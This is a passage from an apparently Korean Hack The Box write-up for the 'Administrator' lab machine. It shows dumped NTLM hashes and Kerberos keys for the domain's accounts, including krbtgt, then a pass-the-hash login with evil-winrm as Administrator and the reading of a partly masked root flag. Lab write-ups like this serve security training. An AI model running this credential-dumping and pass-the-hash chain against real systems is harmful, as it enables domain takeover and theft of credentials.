Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:7a206ee05e894781b99a0175a7fe6f7e1242913b2ab72d0a797cc45968451142
administrator.htb\michael:aes128-cts-hmac-sha1-96:b0f3074aa15482dc8b74937febfa9c7e
administrator.htb\michael:des-cbc-md5:2586dc58c47c61f7
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:36cfe045bc49eda752ca34dd62d77285b82b8c8180c3846a09e4cb13468433a9
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:2cca9575bfa7174d8f3527c7e77526e5
administrator.htb\benjamin:des-cbc-md5:49376b671fadf4d6
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...

요렇게 잘 뽑아와진 것을 볼 수 있다!!

Administrator 유저의 NTLM을 이용해 Pass-the-Hash로 접속해보면,

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/Administrator]
└─$ evil-winrm -u 'Administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e' -i DC.administrator.htb

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
administrator\administrator

요렇게 권한 상승까지 진행해볼 수 있다~!

Root flag

*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         9/28/2026  12:48 AM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
3fbb************************573a

← ALL POSTS